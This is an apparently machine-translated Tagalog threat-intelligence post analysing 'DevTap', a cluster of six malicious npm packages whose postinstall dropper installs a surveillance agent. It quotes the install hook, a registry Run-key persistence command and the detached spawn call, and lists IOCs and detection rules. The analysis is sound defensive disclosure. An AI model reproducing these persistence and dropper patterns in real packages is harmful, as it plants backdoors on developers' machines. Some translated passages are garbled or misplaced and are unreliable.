Tl; DR
Sa pagitan ng Abril 1 at Mayo 3, 2026, isang nag-iisang npm publisher, user0001, nakarehistro gamit ang hindi na-verify na Gmail address tanvisoul9@gmail.com, tahimik na nagsumite ng anim na pakete na may sadyang walang kabuluhang mga pangalan, parang parang imprastraktura: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, at node-env-resolve.
Ang pinakabagong dalawang bersyon ng node-env-resolve, 1.0.7 at 1.0.8, ay na-flag ng Malware Early Warning (MEW) system ng Xygeni noong Mayo 2 at nakumpirmang malisyoso noong Mayo 3.
Ang implant ay kakaiba para sa kung ano ito hindi: walang mga Telegram bot, walang mga OAST callback, wala pagputol, at walang pagtatangkang kunin ang mga kredensyal ng AWS sa oras ng pag-install. Sa halip, postinstall.js nagtatanim ng entry para sa Windows boot-persistence, gamit ang isang HKCU Run key na naglulunsad wscript.exe laban sa isang VBS stub. Pagkatapos, maglalabas ito ng isang hiwalay na Node.js agent na nagbubuklod ng mga module para sa pagkuha ng mikropono, pagnanakaw ng kasaysayan ng browser, pagkuha ng screenshot, at simulation ng mouse/keyboard.
Tinatawag namin ang kumpol na ito DevTap, pagkatapos ng kit, umaandar na ito sa makina ng isang developer.
Lahat ng anim na pakete ay aktibo pa sa npm noong panahon ng pagsulat nito. Isinumite na namin ang mga ito sa abuse channel ng registry. Dapat tanggalin ng mga tagapagtanggol ang anumang mga pag-install mula sa publisher habang hinihintay ang pag-alis.
Ang Kumpol: Anim na Pakete, Isang Tagapaglathala
Ang account ng tagapaglathala user0001 ay hindi pa nabeberipika. Wala itong SCM beripikasyon, walang email na nakatali sa domain, at walang naunang history. Ang Gmail handle tanvisoul9 ay hindi lumalabas sa anumang iba pang talaan ng publisher ng npm na aming natagpuan.
Ang lahat ng anim na pakete ay naglilista ng parehong maintainer, inilathala mula sa parehong account, at nagbabahagi ng pareho package.json boilerplate. Walang repositorySa homepage, at hindi description mas mahaba kaysa sa isang linya.
Ang estratehiya sa pagpapangalan ang interesante. Hindi tulad ng isang klasikong dependency-confusion o typosquat campaign, wala sa mga pangalang ito ang nagta-target sa isang partikular na upstream library. Sa halip, ang mga ito ay naka-calibrate upang mawala sa isang tunay na... package.json or npm ls output.
| pakete | Unang nai-publish | Pinakabagong bersyon | Mga bersyon | Papel sa Kumpol |
|---|---|---|---|---|
| centrallogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, mula 1.0.5 hanggang 1.0.9 | Pabalat ng "logging utility" ng Cluster; pinakaunang nailathala |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Pangkalahatang takip ng DOM-helper |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Ginagaya ang pamilya ng node-fetch |
| ahente ng konektor | 2026-04-25 05:12 UTC | 1.0.0 | 1 | "Ahente" na may pangkalahatang pangalan |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Ginagaya ang tooling para sa pagbuo ng katutubong module |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, mula 1.0.0 hanggang 1.0.9 | Aktibong dropper; buong implant |
Mga pangalan tulad ng centralogger, node-fetch-lite, at node-gyp-runtime ay dinisenyo upang magmukhang hindi kontrobersyal sa pagsusuri ng code. Parang mga bagay na nasa dependency tree na ng isang proyekto ang mga ito.
Kapag sinamahan ng isang bago at hindi beripikadong publisher at mga nawawalang link sa repositoryo, bumubuo sila ng isang makikilalang pattern: isang aktor na naghahasik ng mga low-friction name sa registry, pagkatapos ay mabilis na umuulit sa isa na mahalaga. Sa kasong ito, node-env-resolve nakatanggap ng sampung bersyon sa loob ng walong araw.
Ano ang Lumalabas sa isang Windows Dev Box
Ang malisyosong kadena node-env-resolve:1.0.8 ay maikli, direkta, at hindi pangkaraniwang mayaman sa mga tampok para sa isang npm RAT.
Postinstall: Pagtitiyaga at Detached Agent
package.json nagdedeklara ng isang install hook:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js gumagawa ng tatlong bagay nang sunod-sunod.
Una, itinatakda nito ang isang installation directory sa labas ng npm tree. Ang path ay kinukuwenta sa runtime sa script bilang INSTALL_DIRPagkatapos ay nagpapatakbo ito ng isang panloob na execSync('npm install --production --silent ...') sa loob nito upang hilahin ang mga runtime dependencies ng implant. Inilalagay nito ang ahente sa disk sa isang lugar na may manwal node_modules hindi matutuklasan ng audit.
Pangalawa, nagsusulat ito ng isang VBS launcher at nagrerehistro nito para sa boot persistence:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe ay ang Windows Script Host, isang nilagdaang binary ng Microsoft na tumatakbo .vbs mga file na walang console window. Iyon ay precisBakit nga ba ito paborito para sa mga autorun stubs?
Mayroon ding pagtutugma reg delete daan sa loob src/index.js, na nagmumungkahi na ang implant ay idinisenyo upang malinis na matanggal sa utos ng operator.
Pangatlo, nagbubunga ito ng isang hiwalay na proseso ng anak:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Dalawang detalye ang mahalaga rito.
SERVER_URL ay binabasa mula sa kapaligiran. Bilang resulta, ang C2 endpoint ay maaaring i-configure bawat deployment at hindi isinasama sa package. Ang maliit ngunit sinasadyang pagpili na iyon ay natatalo ang karamihan sa mga static-IOC sweep.
Gayundin, ang ipinanganak na anak ay magmamana ng buong kapaligiran ng magulang. Samakatuwid, anumang NPM_TOKEN, AWS_*, GITHUB_TOKEN, o SSH-agent socket na nasa developer shell sa oras ng pag-install ay naglalakbay papunta sa memorya ng pangmatagalang ahente.
Ano ang Kasama sa Pagpapadala ng Ahente
Ang bundle src/ Ang tree ay may kasamang tatlong modyul na ang mga pangalan pa lamang ay nagsasalaysay na ng kwento: audioCapture.js, browserHistory.js, at systemInfo.js.
Ang listahan ng dependency sa runtime, na nalutas habang isinasagawa ang naka-stage na npm install, pinatutunayan ang mga ito.
Ginagawang kontroladong tugon ng pamamaraang ito ang isang magulong insidente.
Sa halip na mag-react nang walang pakialam, ang mga koponan ay kumikilos nang may malinaw na pagbibigay-priyoridad at mabilis na remedyo.
| pagtitiwala | Para saan Ito sa Kontekstong Ito |
|---|---|
| screenshot-desktop | Pana-panahong pagkuha ng screen |
| @nut-tree-fork/nut-js | Awtomasyon ng mouse at keyboard / simulasyon ng input |
| mas mahusay-sqlite3 | Direktang pagbasa ng mga database ng SQLite ng Chrome, Edge, at Firefox History |
| adm-zip | Pagbubuklod ng mga nakolektang artifact bago ang exfiltration |
| matulis | Pagbabago ng laki / pag-compress ng mga screenshot at mga artifact ng imahe |
| socket.io-client | Patuloy na bidirectional na C2 channel |
| node-machine-id | Matatag na fingerprint kada host para sa pagsubaybay sa biktima |
systemInfo.js tawag os.networkInterfaces() para sa karagdagang pag-fingerprint bago ang unang beacon.
Bakit ang Audio Capture ang Namumukod-tanging Signal
Karamihan sa mga npm RAT na aming tina-triage sa MEW ay humihinto sa pagnanakaw ng sikreto sa oras ng pag-install. Nababasa nila ~/.npmrc, basahin ~/.aws/credentials, magkiskis process.env, I-POST sa isang webhook, at lumabas. Bagay iyan sa isang smash-and-grab economic model. Maikli ang half-life ng mga kredensyal, at kailangang mabilis na kumita ang umaatake.
node-env-resolve ay iba-iba ang hugis.
Ang persistence ay naka-set up upang makaligtas sa pag-reboot. Ang agent ay tumatakbo nang hiwalay at pangmatagalan sa ilalim ng wscript.exeAng kit na dala nito ay para sa paglalagay nito sa makina ng isang developer, hindi para sa pagkuha at pag-alis: isang microphone recorder, isang keyboard/mouse driver, kumpletong browser-history ingest, screen capture, at isang interactive na Socket.IO channel pabalik sa isang configurable na C2.
Ang partikular na microphone capture ang linyang hindi nilalampasan ng kampanyang ito na hindi nilalampasan ng karamihan sa npm malware.
Ang isang workstation ng developer ay, lalong nagiging workstation din kung saan ang mga developer ay tumatanggap ng mga stand-up, mga tawag sa customer, mga talakayan sa disenyo, at mga on-call bridge. Ang isang implant na nagre-record ng mikropono ay hindi talaga sumusunod sa npm token ng developer. Ito ay sumusunod sa sinasabi ng developer sa harap ng laptop.
Ang hanay ng kakayahang iyon, kasama ang kawalan ng obfuscation at ang kawalan ng anumang magarbong exfiltration sa oras ng pag-install, ay mababasa bilang paunang pagpoposisyon para sa naka-target na pag-access sa halip na oportunistang pagnanakaw ng kredensyal.
Hindi lamang namin iginigiit ang pagpapatungkol mula rito. Isinasaalang-alang namin ang operational profile.

Ang walong-araw na iterasyon na ritmo sa node-env-resolve ang pinakamahahalagang detalye sa timeline batay sa operasyon.
Hindi ito isang "fire-and-forget drop". Aktibong pinapanatili ng publisher ang dropper, na karaniwang nangangahulugang isa sa dalawang bagay. Alinman sa inaayos nila ito laban sa mga test environment bago ang mas malawak na deployment, o mayroon na silang install telemetry na bumabalik at tumutugon dito.
Ang iba pang limang pakete ay epektibong walang nakitang churn pagkatapos ng kanilang unang paglalathala. Akma ito sa isang pattern na "stage once, leave named" para sa supporting cluster habang ang pagsisikap sa inhinyeriya ay nakatuon sa pakete na gumagawa ng trabaho.
Pagpapatungkol: Maliliit na Pahiwatig, Walang Matibay na Hatol
Publiko OSINT Manipis ang mga signal, at hindi natin ito palalawigin. Ano ang mapapansin:
Ang Gmail handle tanvisoul9 bahagyang kahawig ng isang ibinigay na pangalan sa Timog Asya, ang "Tanvi." Ito ay isang mahinang signal. Ang mga Gmail handle ay hindi identity, at ang kasunod na soul9 ay pangkaraniwan. Hindi ligtas na mahinuha ang heograpiya mula lamang sa isang email local-part.
Hindi kapansin-pansin ang istilo ng code sa Node.js: standard mga tawag sa aklatan tulad ng os, child_process, spawn, at reg addWalang obfuscation, walang string rotation, at walang anti-debug logic. Komportable ang may-akda sa mga Windows registry primitive at detached-child-process orchestration, ngunit tila hindi siya naghahanap ng mas palihim na tradecraft na maaaring gamitin nila.
Ang mga dependency ay ganap na wala sa istante at kilalang-kilala: screenshot-desktop, nut-js, better-sqlite3, at socket.io-clientWalang pasadyang protocol, walang roll-from-scratch na C2 stack, at walang bagong taktika sa persistence na higit pa sa isang aklat-aralin. Susi ng HKCU RunIto ay isang mahusay na integrator, hindi isang awtor ng tool.
Wala kaming nakitang mga string, naka-embed na komento, locale data, o mga fingerprint ng timezone na output ng compiler na hindi Ingles sa loob ng mga nailathalang artifact.
Sinuri namin ang code overlap sa mga naunang campaign na sinusubaybayan na namin, kabilang ang Shai Hulud, Kuwago, Buildkite, at ang kamakailang heibai / claude-code-best Pamilya ng clone na Anthropic-CLI. Wala kaming nakita: walang ibinahaging mga pattern ng C2, walang ibinahaging mga layout ng file, at walang ibinahaging mga idyoma.
Ang hindi namin sasabihin: na ito ay isang aktor ng estado, isang kilalang grupo, o heograpikal na nakatali sa anumang partikular na bansa.
Ang profile ng operasyon ay naaayon sa isang maliit at katamtamang kasanayang pangkat na nagsasagawa ng pagmamatyag sa mga developer-workstation. Malamang na ito ay may pinansyal na motibasyon sa pamamagitan ng downstream na paggamit ng access, ngunit posible rin na ang reconnaissance-as-a-service para sa isang hiwalay na mamimili.
Dalawang hindi direktang punto ang sumusuporta sa mababasa rito: ang pag-iwas sa mga nakakaagaw-pansing mekanismo ng exfiltration na mabilis na magsusunog sa cluster, tulad ng mga Telegram bot, oastify.com, o mga canarytokens, at ang sadyang walang kwentang mga pangalan ng package, na mas pinapaboran ang mga tahimik na long-tail install kaysa sa isang maikling high-volume spike.
Mga Indikasyon ng Kompromiso at Pagtuklas
| Mga Pakete at Tagapaglathala | |
|---|---|
| Patlang | halaga |
| tagapaglathala ng npm | user0001 |
| Email ng tagapaglathala | tanvisoul9@gmail.com, hindi na-verify |
| Pakete | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Nakumpirmang malisyoso | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Mga Artifact ng Host | |
|---|---|
| uri | halaga |
| Susi ng pagtitiyaga | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Halaga ng pagtitiyaga | Pangalan ng baryabol; datos na may anyong wscript.exe " \\ .vbs" |
| Ikabit ang kawit | postinstall: node postinstall.js sa manifest ng pakete |
| Mga modyul ng implant | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Direktoryo ng pagtatanghal | Nalutas ang INSTALL_DIR sa labas ng node_modules ng proyekto; itinakda ng postinstall.js ang lokasyon sa oras ng pag-install |
| network | |
|---|---|
| uri | halaga |
| Transportasyong C2 | socket.io-client, persistent bidirectional channel |
| C2 endpoint | Ibinigay sa ahente sa pamamagitan ng variable na kapaligiran na SERVER_URL; hindi naka-hardcode sa mga nailathalang artifact |
Mga Tala sa Pagtuklas
Dalawang panuntunan ang nakakasagabal sa pamilyang ito nang hindi nangangailangan ng C2 endpoint.
Una, i-flag ang mga post-install script na nagsasagawa ng internal npm install papunta sa isang path sa labas ng sariling direktoryo ng package. Anumang lehitimong prebuild downloader, tulad ng node-gyp mga muling pagtatayo o mga prebuilt-binary downloader, mga write sa loob ng package o sa platform-standard mga path ng cache na may mga na-verify na hash. Hindi ito nagsusulat sa isang bagong likhang INSTALL_DIR sa ibang lugar sa disk.
Pangalawa, i-flag ang mga postinstall script na naglalabas ng reg add HKCU\…\Run sa wscript.exe bilang launcher. Hindi ito kailanman lehitimo mula sa isang npm package. I-flag at i-quarantine ito.
Ang ikatlong heuristic ay kapaki-pakinabang para sa pagtukoy sa susunod na sibling package bago ito kumpirmahin: isang bagong npm publisher na walang SCM beripikasyon, isang email sa Gmail, hindi repository field, at maraming maikli, generic, at parang imprastraktura na pangalan ng pakete na inilathala sa loob ng ilang araw na magkahiwalay ay, sa ganang sarili, sapat na upang bigyang-katwiran ang manu-manong pagsusuri.
Naiulat na sa npm registry. Ia-update namin ang post na ito kapag naalis na ang publisher account.






